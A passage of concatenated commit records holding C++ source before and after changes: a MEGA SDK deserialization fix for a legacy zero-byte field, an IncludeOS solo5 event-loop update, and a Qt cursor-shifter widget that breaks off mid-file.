bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n fillPacket(dataPointer, dataLen, firstPack, video, keyframe, pkgPid, contPkg);\n }\n if (packData.getBytesFree() < 184){\n packData.addStuffing();\n fillPacket(0, 0, firstPack, video, keyframe, pkgPid, contPkg);\n }\n }\n}\/\/ namespace Mist\n<|endoftext|>"} {"text":"<commit_before>\/**\n* @file pendingcontactrequest.cpp\n* @brief Class for manipulating pending contact requests\n*\n* (c) 2013-2014 by Mega Limited, Wellsford, New Zealand\n*\n* This file is part of the MEGA SDK - Client Access Engine.\n*\n* Applications using the MEGA API must present a valid application key\n* and comply with the the rules set forth in the Terms of Service.\n*\n* The MEGA SDK is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n*\n* @copyright Simplified (2-clause) BSD License.\n*\n* You should have received a copy of the license along with this\n* program.\n*\/\n\n#include \"mega\/pendingcontactrequest.h\"\n#include \"mega\/megaclient.h\"\n\nnamespace mega {\n\nPendingContactRequest::PendingContactRequest(const handle id)\n{\n this->id = id;\n this->ts = 0;\n this->uts = 0;\n this->isoutgoing = true;\n\n memset(&changed, 0, sizeof changed);\n}\n\nPendingContactRequest::PendingContactRequest(const handle id,const char *oemail, const char *temail, const m_time_t ts, const m_time_t uts, const char *msg, bool outgoing)\n{\n this->id = id;\n this->targetemail = \"\";\n this->update(oemail, temail, ts, uts, msg, outgoing);\n}\n\nvoid PendingContactRequest::update(const char *oemail, const char *temail, const m_time_t ts, const m_time_t uts, const char *msg, bool outgoing)\n{\n if (oemail)\n {\n Node::copystring(&(this->originatoremail), oemail);\n }\n if (temail)\n {\n Node::copystring(&(this->targetemail), temail);\n }\n this->ts = ts;\n this->uts = uts;\n if (msg)\n {\n Node::copystring(&(this->msg), msg);\n }\n\n this->isoutgoing = outgoing;\n memset(&changed, 0, sizeof changed);\n}\n\nbool PendingContactRequest::removed()\n{\n return changed.accepted || changed.denied || changed.ignored || changed.deleted;\n}\n\nbool PendingContactRequest::serialize(string *d)\n{\n unsigned char l;\n\n d->append((char*)&id, sizeof id);\n\n l = (unsigned char)originatoremail.size();\n d->append((char*)&l, sizeof l);\n d->append(originatoremail.c_str(), l);\n\n l = (unsigned char)targetemail.size();\n d->append((char*)&l, sizeof l);\n d->append(targetemail.c_str(), l);\n\n d->append((char*)&ts, sizeof ts);\n d->append((char*)&uts, sizeof uts);\n\n l = (unsigned char)msg.size();\n d->append((char*)&l, sizeof l);\n d->append(msg.c_str(), l);\n\n d->append((char*)&isoutgoing, sizeof isoutgoing);\n\n return true;\n}\n\nPendingContactRequest* PendingContactRequest::unserialize(class MegaClient *client, string *d)\n{\n handle id;\n string oemail;\n string temail;\n m_time_t ts;\n m_time_t uts;\n string msg;\n bool isoutgoing;\n\n const char* ptr = d->data();\n const char* end = ptr + d->size();\n unsigned char l;\n\n if (ptr + sizeof id + sizeof l > end)\n {\n return NULL;\n }\n\n id = MemAccess::get<handle>(ptr);\n ptr += sizeof id;\n\n l = *ptr++;\n if (ptr + l + sizeof l > end)\n {\n return NULL;\n }\n\n oemail.assign(ptr, l);\n ptr += l;\n\n l = *ptr++;\n if (ptr + l + sizeof ts + sizeof uts + sizeof l > end)\n {\n return NULL;\n }\n\n temail.assign(ptr, l);\n ptr += l;\n\n ts = MemAccess::get<m_time_t>(ptr);\n ptr += sizeof ts;\n\n uts = MemAccess::get<m_time_t>(ptr);\n ptr += sizeof uts;\n\n l = *ptr++;\n if (ptr + l > end)\n {\n return NULL;\n }\n\n msg.assign(ptr, l);\n ptr += l;\n\n isoutgoing = MemAccess::get<bool>(ptr);\n ptr += sizeof isoutgoing;\n\n if (ptr == end)\n {\n PendingContactRequest *pcr = new PendingContactRequest(id, oemail.c_str(), temail.c_str(), ts, uts, msg.c_str(), isoutgoing);\n client->mappcr(id, pcr);\n return pcr;\n }\n else\n {\n return NULL;\n }\n}\n\n} \/\/namespace\n<commit_msg>Fix PCR::unserialize to protect against 0 byte field<commit_after>\/**\n* @file pendingcontactrequest.cpp\n* @brief Class for manipulating pending contact requests\n*\n* (c) 2013-2014 by Mega Limited, Wellsford, New Zealand\n*\n* This file is part of the MEGA SDK - Client Access Engine.\n*\n* Applications using the MEGA API must present a valid application key\n* and comply with the the rules set forth in the Terms of Service.\n*\n* The MEGA SDK is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n*\n* @copyright Simplified (2-clause) BSD License.\n*\n* You should have received a copy of the license along with this\n* program.\n*\/\n\n#include \"mega\/pendingcontactrequest.h\"\n#include \"mega\/megaclient.h\"\n\nnamespace mega {\n\nPendingContactRequest::PendingContactRequest(const handle id)\n{\n this->id = id;\n this->ts = 0;\n this->uts = 0;\n this->isoutgoing = true;\n\n memset(&changed, 0, sizeof changed);\n}\n\nPendingContactRequest::PendingContactRequest(const handle id,const char *oemail, const char *temail, const m_time_t ts, const m_time_t uts, const char *msg, bool outgoing)\n{\n this->id = id;\n this->targetemail = \"\";\n this->update(oemail, temail, ts, uts, msg, outgoing);\n}\n\nvoid PendingContactRequest::update(const char *oemail, const char *temail, const m_time_t ts, const m_time_t uts, const char *msg, bool outgoing)\n{\n if (oemail)\n {\n Node::copystring(&(this->originatoremail), oemail);\n }\n if (temail)\n {\n Node::copystring(&(this->targetemail), temail);\n }\n this->ts = ts;\n this->uts = uts;\n if (msg)\n {\n Node::copystring(&(this->msg), msg);\n }\n\n this->isoutgoing = outgoing;\n memset(&changed, 0, sizeof changed);\n}\n\nbool PendingContactRequest::removed()\n{\n return changed.accepted || changed.denied || changed.ignored || changed.deleted;\n}\n\nbool PendingContactRequest::serialize(string *d)\n{\n unsigned char l;\n\n d->append((char*)&id, sizeof id);\n\n l = (unsigned char)originatoremail.size();\n d->append((char*)&l, sizeof l);\n d->append(originatoremail.c_str(), l);\n\n l = (unsigned char)targetemail.size();\n d->append((char*)&l, sizeof l);\n d->append(targetemail.c_str(), l);\n\n d->append((char*)&ts, sizeof ts);\n d->append((char*)&uts, sizeof uts);\n\n l = (unsigned char)msg.size();\n d->append((char*)&l, sizeof l);\n d->append(msg.c_str(), l);\n\n d->append((char*)&isoutgoing, sizeof isoutgoing);\n\n return true;\n}\n\nPendingContactRequest* PendingContactRequest::unserialize(class MegaClient *client, string *d)\n{\n handle id;\n string oemail;\n string temail;\n m_time_t ts;\n m_time_t uts;\n string msg;\n bool isoutgoing;\n\n const char* ptr = d->data();\n const char* end = ptr + d->size();\n unsigned char l;\n\n if (ptr + sizeof id + sizeof l > end)\n {\n return NULL;\n }\n\n id = MemAccess::get<handle>(ptr);\n ptr += sizeof id;\n\n l = *ptr++;\n if (ptr + l + sizeof l > end)\n {\n return NULL;\n }\n\n oemail.assign(ptr, l);\n ptr += l;\n\n l = *ptr++;\n if (ptr + l + sizeof ts + sizeof uts + sizeof l > end)\n {\n return NULL;\n }\n\n temail.assign(ptr, l);\n ptr += l;\n\n ts = MemAccess::get<m_time_t>(ptr);\n ptr += sizeof ts;\n\n uts = MemAccess::get<m_time_t>(ptr);\n ptr += sizeof uts;\n\n l = *ptr++;\n if (ptr + l > end)\n \/\/ should be ptr+l+sizeof(isoutgoing), but legacy code writes 0 bytes when false\n {\n return NULL;\n }\n\n msg.assign(ptr, l);\n ptr += l;\n\n if (ptr == end) \/\/ legacy bug writes 0 bytes for incoming PCRs\n {\n isoutgoing = false;\n }\n else if (ptr + sizeof isoutgoing == end)\n {\n isoutgoing = MemAccess::get<bool>(ptr);\n ptr += sizeof isoutgoing;\n }\n\n if (ptr == end)\n {\n PendingContactRequest *pcr = new PendingContactRequest(id, oemail.c_str(), temail.c_str(), ts, uts, msg.c_str(), isoutgoing);\n client->mappcr(id, pcr);\n return pcr;\n }\n else\n {\n return NULL;\n }\n}\n\n} \/\/namespace\n<|endoftext|>"} {"text":"<commit_before><commit_msg>distance joint spring enabled by default<commit_after><|endoftext|>"} {"text":"<commit_before>#include <os>\n\n#include <info>\n#include <smp>\n#include <statman>\n#include <kernel\/timers.hpp>\n#include <kernel\/solo5_manager.hpp>\n\nextern \"C\" {\n#include <solo5.h>\n}\n\n\/\/ sleep statistics\nstatic uint64_t os_cycles_hlt = 0;\n\nextern \"C\" void* get_cpu_esp();\nextern uintptr_t _start;\nextern uintptr_t _end;\nextern uintptr_t mem_size;\nextern uintptr_t _ELF_START_;\nextern uintptr_t _TEXT_START_;\nextern uintptr_t _LOAD_START_;\nextern uintptr_t _ELF_END_;\n\/\/ in kernel\/os.cpp\nextern bool os_default_stdout;\n\ntypedef void (*ctor_t) ();\nextern ctor_t __init_array_start;\nextern ctor_t __init_array_end;\nextern int __run_ctors(ctor_t* begin, ctor_t* end);\n\n#define MYINFO(X,...) INFO(\"Kernel\", X, ##__VA_ARGS__)\n\n#ifdef ENABLE_PROFILERS\n#include <profile>\n#define PROFILE(name) ScopedProfiler __CONCAT(sp, __COUNTER__){name};\n#else\n#define PROFILE(name) \/* name *\/\n#endif\n\nvoid solo5_poweroff()\n{\n __asm__ __volatile__(\"cli; hlt\");\n for(;;);\n}\n\n\/\/ returns wall clock time in nanoseconds since the UNIX epoch\nuint64_t __arch_system_time() noexcept\n{\n return solo5_clock_wall();\n}\ntimespec __arch_wall_clock() noexcept\n{\n uint64_t stamp = solo5_clock_wall();\n timespec result;\n result.tv_sec = stamp \/ 1000000000ul;\n result.tv_nsec = stamp % 1000000000ul;\n return result;\n}\n\n\/\/ actually uses nanoseconds (but its just a number)\nuint64_t OS::cycles_asleep() noexcept {\n return os_cycles_hlt;\n}\nuint64_t OS::nanos_asleep() noexcept {\n return os_cycles_hlt;\n}\n\nvoid OS::default_stdout(const char* str, const size_t len)\n{\n solo5_console_write(str, len);\n}\n\nvoid OS::start(const char* cmdline)\n{\n OS::cmdline = cmdline;\n\n \/\/ Initialize stdout handlers\n if(os_default_stdout) {\n OS::add_stdout(&OS::default_stdout);\n }\n\n PROFILE(\"\");\n \/\/ Print a fancy header\n CAPTION(\"#include<os> \/\/ Literally\");\n\n void* esp = get_cpu_esp();\n MYINFO(\"Stack: %p\", esp);\n\n \/\/\/ STATMAN \/\/\/\n \/\/\/ initialize on page 7, 2 pages in size\n Statman::get().init(0x6000, 0x3000);\n\n \/\/ Call global ctors\n PROFILE(\"Global kernel constructors\");\n __run_ctors(&__init_array_start, &__init_array_end);\n\n PROFILE(\"Memory map\");\n \/\/ Assign memory ranges used by the kernel\n auto& memmap = memory_map();\n MYINFO(\"Assigning fixed memory ranges (Memory map)\");\n\n memmap.assign_range({0x500, 0x5fff, \"solo5\"});\n memmap.assign_range({0x6000, 0x8fff, \"Statman\"});\n memmap.assign_range({0xA000, 0x9fbff, \"Stack\"});\n memmap.assign_range({(uintptr_t)&_LOAD_START_, (uintptr_t)&_end,\n \"ELF\"});\n\n Expects(heap_begin() and heap_max_);\n \/\/ @note for security we don't want to expose this\n memmap.assign_range({(uintptr_t)&_end + 1, heap_begin() - 1,\n \"Pre-heap\"});\n\n uintptr_t span_max = std::numeric_limits<std::ptrdiff_t>::max();\n uintptr_t heap_range_max_ = std::min(span_max, heap_max_);\n\n MYINFO(\"Assigning heap\");\n memmap.assign_range({heap_begin(), heap_range_max_,\n \"Dynamic memory\", heap_usage });\n\n MYINFO(\"Printing memory map\");\n for (const auto &i : memmap)\n INFO2(\"* %s\",i.second.to_string().c_str());\n\n extern void __platform_init();\n __platform_init();\n\n MYINFO(\"Booted at monotonic_ns=%ld walltime_ns=%ld\",\n solo5_clock_monotonic(), solo5_clock_wall());\n\n Solo5_manager::init();\n\n \/\/ We don't need a start or stop function in solo5.\n Timers::init(\n \/\/ timer start function\n [] (auto) {},\n \/\/ timer stop function\n [] () {});\n\n Timers::ready();\n}\n\nstatic inline void event_loop_inner()\n{\n int res = 0;\n auto nxt = Timers::next();\n if (nxt == std::chrono::nanoseconds(0))\n {\n \/\/ no next timer, just wait a while\n res = solo5_yield(solo5_clock_monotonic() + 500000000ULL); \/\/ 500 ms\n \/\/printf(\"Waiting, next is indeterminate...\\n\");\n }\n else if (nxt == std::chrono::nanoseconds(1))\n {\n \/\/ there is an imminent or activated timer, don't wait\n \/\/printf(\"Not waiting, imminent timer...\\n\");\n }\n else\n {\n res = solo5_yield(solo5_clock_monotonic() + nxt.count());\n \/\/printf(\"Waiting %llu nanos\\n\", nxt.count());\n }\n\n \/\/ handle any activated timers\n Timers::timers_handler();\n if (res != 0)\n {\n \/\/ handle any network traffic\n for(auto& nic : hw::Devices::devices<hw::Nic>()) {\n nic->poll();\n }\n }\n}\n\nvoid OS::event_loop()\n{\n while (power_)\n {\n \/\/ add a global symbol here so we can quickly discard\n \/\/ event loop from stack sampling\n asm volatile(\n \".global _irq_cb_return_location;\\n\"\n \"_irq_cb_return_location:\" );\n\n event_loop_inner();\n }\n\n\n MYINFO(\"Stopping service\");\n Service::stop();\n\n MYINFO(\"Powering off\");\n solo5_poweroff();\n}\n\n__attribute__((noinline))\nvoid OS::halt() {\n auto cycles_before = solo5_clock_monotonic();\n#if defined(ARCH_x86)\n asm volatile(\"hlt\");\n#else\n#warning \"OS::halt() not implemented for selected arch\"\n#endif\n \/\/ Count sleep nanos\n os_cycles_hlt += solo5_clock_monotonic() - cycles_before;\n}\n\nvoid OS::block()\n{\n static uint32_t blocking_level = 0;\n blocking_level += 1;\n \/\/ prevent recursion stack overflow\n assert(blocking_level < 200);\n\n event_loop_inner();\n\n \/\/ Decrement level\n blocking_level -= 1;\n}\n<commit_msg>solo5: Wait longer, process events<commit_after>#include <os>\n\n#include <info>\n#include <smp>\n#include <statman>\n#include <kernel\/events.hpp>\n#include <kernel\/timers.hpp>\n#include <kernel\/solo5_manager.hpp>\n\nextern \"C\" {\n#include <solo5.h>\n}\n\n\/\/ sleep statistics\nstatic uint64_t os_cycles_hlt = 0;\n\nextern \"C\" void* get_cpu_esp();\nextern uintptr_t _start;\nextern uintptr_t _end;\nextern uintptr_t mem_size;\nextern uintptr_t _ELF_START_;\nextern uintptr_t _TEXT_START_;\nextern uintptr_t _LOAD_START_;\nextern uintptr_t _ELF_END_;\n\/\/ in kernel\/os.cpp\nextern bool os_default_stdout;\n\ntypedef void (*ctor_t) ();\nextern ctor_t __init_array_start;\nextern ctor_t __init_array_end;\nextern int __run_ctors(ctor_t* begin, ctor_t* end);\n\n#define MYINFO(X,...) INFO(\"Kernel\", X, ##__VA_ARGS__)\n\n#ifdef ENABLE_PROFILERS\n#include <profile>\n#define PROFILE(name) ScopedProfiler __CONCAT(sp, __COUNTER__){name};\n#else\n#define PROFILE(name) \/* name *\/\n#endif\n\nvoid solo5_poweroff()\n{\n __asm__ __volatile__(\"cli; hlt\");\n for(;;);\n}\n\n\/\/ returns wall clock time in nanoseconds since the UNIX epoch\nuint64_t __arch_system_time() noexcept\n{\n return solo5_clock_wall();\n}\ntimespec __arch_wall_clock() noexcept\n{\n uint64_t stamp = solo5_clock_wall();\n timespec result;\n result.tv_sec = stamp \/ 1000000000ul;\n result.tv_nsec = stamp % 1000000000ul;\n return result;\n}\n\n\/\/ actually uses nanoseconds (but its just a number)\nuint64_t OS::cycles_asleep() noexcept {\n return os_cycles_hlt;\n}\nuint64_t OS::nanos_asleep() noexcept {\n return os_cycles_hlt;\n}\n\nvoid OS::default_stdout(const char* str, const size_t len)\n{\n solo5_console_write(str, len);\n}\n\nvoid OS::start(const char* cmdline)\n{\n OS::cmdline = cmdline;\n\n \/\/ Initialize stdout handlers\n if(os_default_stdout) {\n OS::add_stdout(&OS::default_stdout);\n }\n\n PROFILE(\"\");\n \/\/ Print a fancy header\n CAPTION(\"#include<os> \/\/ Literally\");\n\n void* esp = get_cpu_esp();\n MYINFO(\"Stack: %p\", esp);\n\n \/\/\/ STATMAN \/\/\/\n \/\/\/ initialize on page 7, 2 pages in size\n Statman::get().init(0x6000, 0x3000);\n\n \/\/ Call global ctors\n PROFILE(\"Global kernel constructors\");\n __run_ctors(&__init_array_start, &__init_array_end);\n\n PROFILE(\"Memory map\");\n \/\/ Assign memory ranges used by the kernel\n auto& memmap = memory_map();\n MYINFO(\"Assigning fixed memory ranges (Memory map)\");\n\n memmap.assign_range({0x500, 0x5fff, \"solo5\"});\n memmap.assign_range({0x6000, 0x8fff, \"Statman\"});\n memmap.assign_range({0xA000, 0x9fbff, \"Stack\"});\n memmap.assign_range({(uintptr_t)&_LOAD_START_, (uintptr_t)&_end,\n \"ELF\"});\n\n Expects(heap_begin() and heap_max_);\n \/\/ @note for security we don't want to expose this\n memmap.assign_range({(uintptr_t)&_end + 1, heap_begin() - 1,\n \"Pre-heap\"});\n\n uintptr_t span_max = std::numeric_limits<std::ptrdiff_t>::max();\n uintptr_t heap_range_max_ = std::min(span_max, heap_max_);\n\n MYINFO(\"Assigning heap\");\n memmap.assign_range({heap_begin(), heap_range_max_,\n \"Dynamic memory\", heap_usage });\n\n MYINFO(\"Printing memory map\");\n for (const auto &i : memmap)\n INFO2(\"* %s\",i.second.to_string().c_str());\n\n extern void __platform_init();\n __platform_init();\n\n MYINFO(\"Booted at monotonic_ns=%ld walltime_ns=%ld\",\n solo5_clock_monotonic(), solo5_clock_wall());\n\n Solo5_manager::init();\n\n \/\/ We don't need a start or stop function in solo5.\n Timers::init(\n \/\/ timer start function\n [] (auto) {},\n \/\/ timer stop function\n [] () {});\n\n Events::get().defer(Timers::ready);\n}\n\nstatic inline void event_loop_inner()\n{\n int res = 0;\n auto nxt = Timers::next();\n if (nxt == std::chrono::nanoseconds(0))\n {\n \/\/ no next timer, wait forever\n \/\/printf(\"Waiting 15s, next is indeterminate...\\n\");\n const unsigned long long count = 15000000000ULL;\n res = solo5_yield(solo5_clock_monotonic() + count);\n os_cycles_hlt += count;\n }\n else if (nxt == std::chrono::nanoseconds(1))\n {\n \/\/ there is an imminent or activated timer, don't wait\n \/\/printf(\"Not waiting, imminent timer...\\n\");\n }\n else\n {\n \/\/printf(\"Waiting %llu nanos\\n\", nxt.count());\n res = solo5_yield(solo5_clock_monotonic() + nxt.count());\n os_cycles_hlt += nxt.count();\n }\n\n \/\/ handle any activated timers\n Timers::timers_handler();\n Events::get().process_events();\n if (res != 0)\n {\n \/\/ handle any network traffic\n for(auto& nic : hw::Devices::devices<hw::Nic>()) {\n nic->poll();\n }\n }\n}\n\nvoid OS::event_loop()\n{\n while (power_)\n {\n \/\/ add a global symbol here so we can quickly discard\n \/\/ event loop from stack sampling\n asm volatile(\n \".global _irq_cb_return_location;\\n\"\n \"_irq_cb_return_location:\" );\n\n event_loop_inner();\n }\n\n\n MYINFO(\"Stopping service\");\n Service::stop();\n\n MYINFO(\"Powering off\");\n solo5_poweroff();\n}\n\n__attribute__((noinline))\nvoid OS::halt() {\n auto cycles_before = solo5_clock_monotonic();\n#if defined(ARCH_x86)\n asm volatile(\"hlt\");\n#else\n#warning \"OS::halt() not implemented for selected arch\"\n#endif\n \/\/ Count sleep nanos\n os_cycles_hlt += solo5_clock_monotonic() - cycles_before;\n}\n\nvoid OS::block()\n{\n static uint32_t blocking_level = 0;\n blocking_level += 1;\n \/\/ prevent recursion stack overflow\n assert(blocking_level < 200);\n\n event_loop_inner();\n\n \/\/ Decrement level\n blocking_level -= 1;\n}\n<|endoftext|>"} {"text":"<commit_before>\r\n\/*!\r\n\t\\file\r\n\r\n\t\\author Igor Mironchik (igor.mironchik at gmail dot com).\r\n\r\n\tCopyright (c) 2014 Igor Mironchik\r\n\r\n\tPermission is hereby granted, free of charge, to any person\r\n\tobtaining a copy of this software and associated documentation\r\n\tfiles (the \"Software\"), to deal in the Software without\r\n\trestriction, including without limitation the rights to use,\r\n\tcopy, modify, merge, publish, distribute, sublicense, and\/or sell\r\n\tcopies of the Software, and to permit persons to whom the\r\n\tSoftware is furnished to do so, subject to the following\r\n\tconditions:\r\n\r\n\tThe above copyright notice and this permission notice shall be\r\n\tincluded in all copies or substantial portions of the Software.\r\n\r\n\tTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\r\n\tEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\r\n\tOF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\r\n\tNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\r\n\tHOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\r\n\tWHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\r\n\tFROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\r\n\tOTHER DEALINGS IN THE SOFTWARE.\r\n*\/\r\n\r\n\/\/ QtMWidgets include.\r\n#include \"cursorshifter.hpp\"\r\n#include \"color.hpp\"\r\n#include \"fingergeometry.hpp\"\r\n\r\n\/\/ Qt include.\r\n#include <QTimer>\r\n#include <QPainter>\r\n#include <QMouseEvent>\r\n#include <QPainterPath>\r\n#include <QApplication>\r\n#include <QEvent>\r\n#include <QBitmap>\r\n\r\n\r\nnamespace QtMWidgets {\r\n\r\n\/\/\r\n\/\/ CursorShifterPrivate\r\n\/\/\r\n\r\nclass CursorShifterPrivate {\r\npublic:\r\n\tCursorShifterPrivate( CursorShifter * parent )\r\n\t\t:\tq( parent )\r\n\t\t,\tleftMouseButtonPressed( false )\r\n\t\t,\tcursorOverrided( false )\r\n\t{\r\n\t}\r\n\r\n\tvoid init();\r\n\r\n\tCursorShifter * q;\r\n\tQColor color;\r\n\tQColor light;\r\n\tint basicSize;\r\n\tQPoint cursorPos;\r\n\tQTimer * timer;\r\n\tbool leftMouseButtonPressed;\r\n\tQPoint offset;\r\n\tbool cursorOverrided;\r\n}; \/\/ class CursorShifterPrivate\r\n\r\nvoid\r\nCursorShifterPrivate::init()\r\n{\r\n\tcolor = q->palette().color( QPalette::Highlight );\r\n\tlight = lighterColor( color, 75 );\r\n\tbasicSize = qRound( (qreal) FingerGeometry::width() * 0.2 );\r\n\ttimer = new QTimer( q );\r\n\tq->setAttribute( Qt::WA_TranslucentBackground );\r\n\tq->setAttribute( Qt::WA_NoSystemBackground );\r\n\tq->setWindowModality( Qt::NonModal );\r\n\r\n\tQObject::connect( timer, SIGNAL( timeout() ),\r\n\t\tq, SLOT( _q_hideTimer() ) );\r\n}\r\n\r\n\/\/\r\n\/\/ CursorShifter\r\n\/\/\r\n\r\nCursorShifter::CursorShifter( QWidget * parent )\r\n\t:\tQWidget( parent, Qt::ToolTip | Qt::FramelessWindowHint |\r\n\t\t\tQt::WindowDoesNotAcceptFocus |\r\n\t\t\tQt::WindowTransparentForInput |\r\n\t\t\tQt::NoDropShadowWindowHint |\r\n\t\t\tQt::WindowStaysOnTopHint )\r\n\t,\td( new CursorShifterPrivate( this ) )\r\n{\r\n\td->init();\r\n}\r\n\r\nCursorShifter::~CursorShifter()\r\n{\r\n}\r\n\r\nQPoint\r\nCursorShifter::cursorPos() const\r\n{\r\n\treturn d->cursorPos;\r\n}\r\n\r\nQSize\r\nCursorShifter::minimumSizeHint() const\r\n{\r\n\treturn QSize( d->basicSize * 2, d->basicSize * 3 );\r\n}\r\n\r\nQSize\r\nCursorShifter::sizeHint() const\r\n{\r\n\treturn minimumSizeHint();\r\n}\r\n\r\nvoid\r\nCursorShifter::setCursorPos( const QPoint & pos )\r\n{\r\n\tif( d->cursorPos != pos )\r\n\t{\r\n\t\td->cursorPos = pos;\r\n\r\n\t\tmove( QPoint( d->cursorPos.x() - d->basicSize, d->cursorPos.y() ) );\r\n\t}\r\n}\r\n\r\nvoid\r\nCursorShifter::popup()\r\n{\r\n\tqApp->installEventFilter( this );\r\n\tshow();\r\n\td->timer->start( 3000 );\r\n}\r\n\r\nvoid\r\nCursorShifter::immediatelyHide()\r\n{\r\n\td->timer->stop();\r\n\r\n\tqApp->removeEventFilter( this );\r\n\r\n\thide();\r\n\r\n\tif( d->cursorOverrided )\r\n\t{\r\n\t\td->cursorOverrided = false;\r\n\t\tQApplication::restoreOverrideCursor();\r\n\t}\r\n}\r\n\r\nvoid\r\nCursorShifter::paintEvent( QPaintEvent * )\r\n{\r\n\tQPainter p( this );\r\n\tp.setRenderHint( QPainter::Antialiasing );\r\n\r\n\tQPainterPath roof;\r\n\troof.moveTo( d->basicSize, 0 );\r\n\troof.lineTo( d->basicSize * 2, d->basicSize );\r\n\troof.lineTo( 0, d->basicSize );\r\n\troof.lineTo( d->basicSize, 0 );\r\n\r\n\tp.setPen( d->color );\r\n\tp.setBrush( d->light );\r\n\tp.drawPath( roof );\r\n\r\n\tp.setBrush( d->color );\r\n\tp.drawRect( 0, d->basicSize, d->basicSize * 2, d->basicSize * 2 );\r\n}\r\n\r\nbool\r\nCursorShifter::eventFilter( QObject * obj, QEvent * e )\r\n{\r\n\tQ_UNUSED( obj )\r\n\r\n\tswitch( e->type() )\r\n\t{\r\n\t\tcase QEvent::MouseButtonPress :\r\n\t\t{\r\n\t\t\tQMouseEvent * me = static_cast< QMouseEvent* > ( e );\r\n\t\t\tQRect r = rect();\r\n\t\t\tr.moveTo( pos() );\r\n\t\t\tconst QPoint pos = me->globalPos();\r\n\r\n\t\t\tif( isVisible() && r.contains( pos ) )\r\n\t\t\t{\r\n\t\t\t\td->leftMouseButtonPressed = true;\r\n\t\t\t\td->timer->stop();\r\n\t\t\t\td->offset = QPoint( r.topLeft().x() + d->basicSize - pos.x(),\r\n\t\t\t\t\tpos.y() - r.topLeft().y() );\r\n\r\n\t\t\t\treturn true;\r\n\t\t\t}\r\n\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tbreak;\r\n\r\n\t\tcase QEvent::MouseButtonRelease :\r\n\t\t{\r\n\t\t\tif( d->leftMouseButtonPressed )\r\n\t\t\t{\r\n\t\t\t\td->leftMouseButtonPressed = false;\r\n\t\t\t\td->timer->start( 3000 );\r\n\r\n\t\t\t\treturn true;\r\n\t\t\t}\r\n\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tbreak;\r\n\r\n\t\tcase QEvent::MouseMove :\r\n\t\t{\r\n\t\t\tQMouseEvent * me = static_cast< QMouseEvent* > ( e );\r\n\r\n\t\t\tQRect r = rect();\r\n\t\t\tr.moveTo( pos() );\r\n\t\t\tconst QPoint pos = me->globalPos();\r\n\r\n\t\t\tif( isVisible() && r.contains( pos ) && !d->cursorOverrided )\r\n\t\t\t{\r\n\t\t\t\td->cursorOverrided = true;\r\n\t\t\t\tQApplication::setOverrideCursor( QCursor( Qt::ArrowCursor ) );\r\n\t\t\t}\r\n\t\t\telse if( d->cursorOverrided && ( !r.contains( pos ) | !isVisible() ) )\r\n\t\t\t{\r\n\t\t\t\td->cursorOverrided = false;\r\n\t\t\t\tQApplication::restoreOverrideCursor();\r\n\t\t\t}\r\n\r\n\t\t\tif( d->leftMouseButtonPressed )\r\n\t\t\t{\r\n\t\t\t\temit posChanged( me->globalPos() - d->offset );\r\n\r\n\t\t\t\treturn true;\r\n\t\t\t}\r\n\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tbreak;\r\n\r\n\t\tdefault :\r\n\t\t\treturn false;\r\n\t}\r\n}\r\n\r\nvoid\r\nCursorShifter::_q_hideTimer()\r\n{\r\n\tqApp->removeEventFilter( this );\r\n\r\n\thide();\r\n\r\n\tif( d->cursorOverrided )\r\n\t{\r\n\t\td->cursorOverrided = false;\r\n\t\tQApplication::restoreOverrideCursor();\r\n\t}\r\n}\r\n\r\n} \/* namespace QtMWidgets *\/\r\n<commit_msg>Modifier CursorShifter.<commit_after>\r\n\/*!\r\n\t\\file\r\n\r\n\t\\author Igor Mironchik (igor.mironchik at gmail dot com).\r\n\r\n\tCopyright (c) 2014 Igor Mironchik\r\n\r\n\tPermission is hereby granted, free of charge, to any person\r\n\tobtaining a copy of this software and associated documentation\r\n\tfiles (the \"Software\"), to deal in the Software without\r\n\trestriction, including without limitation the rights to use,\r\n\tcopy, modify, merge, publish, distribute, sublicense, and\/or sell\r\n\tcopies of the Software, and to permit persons to whom the\r\n\tSoftware is furnished to do so, subject to the following\r\n\tconditions:\r\n\r\n\tThe above copyright notice and this permission notice shall be\r\n\tincluded in all copies or substantial portions of the Software.\r\n\r\n\tTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\r\n\tEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\r\n\tOF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\r\n\tNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\r\n\tHOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\r\n\tWHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\r\n\tFROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\r\n\tOTHER DEALINGS IN THE SOFTWARE.\r\n*\/\r\n\r\n\/\/ QtMWidgets include.\r\n#include \"cursorshifter.hpp\"\r\n#include \"color.hpp\"\r\n#include \"fingergeometry.hpp\"\r\n\r\n\/\/ Qt include.\r\n#include <QTimer>\r\n#include <QPainter>\r\n#include <QMouseEvent>\r\n#include <QPainterPath>\r\n#include <QApplication>\r\n#include <QEvent>\r\n#include <QBitmap>\r\n\r\n\r\nnamespace QtMWidgets {\r\n\r\n\/\/\r\n\/\/ CursorShifterPrivate\r\n\/\/\r\n\r\nclass CursorShifterPrivate {\r\npublic:\r\n\tCursorShifterPrivate( CursorShifter * parent )\r\n\t\t:\tq( parent )\r\n\t\t,\tleftMouseButtonPressed( false )\r\n\t\t,\tcursorOverrided( false 